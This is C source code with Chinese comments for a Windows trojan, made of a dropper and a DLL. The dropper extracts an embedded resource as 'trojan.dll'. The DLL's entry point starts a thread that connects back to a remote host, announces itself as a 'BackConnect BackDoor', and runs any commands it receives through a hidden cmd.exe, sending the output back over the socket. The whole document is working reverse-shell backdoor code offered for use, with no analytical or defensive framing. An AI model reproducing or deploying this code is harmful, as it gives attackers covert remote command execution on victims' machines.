// resource.h
#define RC_BINARYTYPE 256
#define ID_MAGICDEL_DLL 100
DLL文件:
#include <windows.h>
#include<stdio.h>
#include "resource.h"
void WriteResourceToFile(char const *filename)
{
HINSTANCE hInstance=GetModuleHandle(NULL);
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_MAGICDEL_DLL),
MAKEINTRESOURCE(RC_BINARYTYPE));
HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
void *pvRes = LockResource(hgRes);
DWORD cbRes = SizeofResource(hInstance, hResInfo);
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, 0);
DWORD cbWritten;
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
CloseHandle(hFile);
}
int main(void)
{
WriteResourceToFile("trojan.dll");
return 0;
}
主程序:
#include<winsock2.h>
#include<stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
int StartSocket(); //连接函数
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) //动态连接库的入口，相当于main()函数
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DWORD id; CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);
break;
}
default:
break;
}
return TRUE;
}
int StartSocket()
{
char *messages = "\r\n======================== BackConnect BackDoor V0.1 ========================\r\n========= Welcome to Http://www.hackerxfiles.net =========\r\n";
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
char buf1[1024]; //作为socket接收数据的缓冲区
memset(buf1,0,1024); //清空缓冲区
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:d\n",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(80); //反向连接的远端主机端口
addr_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); //远端IP
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) //连接客户主机
{
printf("Connect failed.Error:d",WSAGetLastError());
return;
}
if (send(sock,messages,strlen(messages),0)==SOCKET_ERROR) //发送欢迎信息
{
printf("Send failed.Error:d\n",WSAGetLastError());
return;
}
char buffer[2048] = {0};//管道输出的数据
for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){
SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf("Error On CreatePipe()");
return;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(cmdline,MAX_PATH+1);
strcat(cmdline,"\\cmd.exe /c");
int len=recv(sock,buf1,1024,NULL);
if(len==SOCKET_ERROR)exit(0); //如果客户端断开连接，则自动退出程序
if(len<=1){send(sock,"error\n",sizeof("error\n"),0);continue;}
strncat(cmdline,buf1,strlen(buf1)); //把命令参数复制到cmdline
if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
send(sock,"Error command\n",sizeof("Error command\n"),0);
continue;
}
CloseHandle(hWrite);
//循环读取管道中数据并发送，直到管道中没有数据为止
for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL);memset(buffer,0,2048)){
send(sock,buffer,strlen(buffer),0);
}
}
return 0;
}
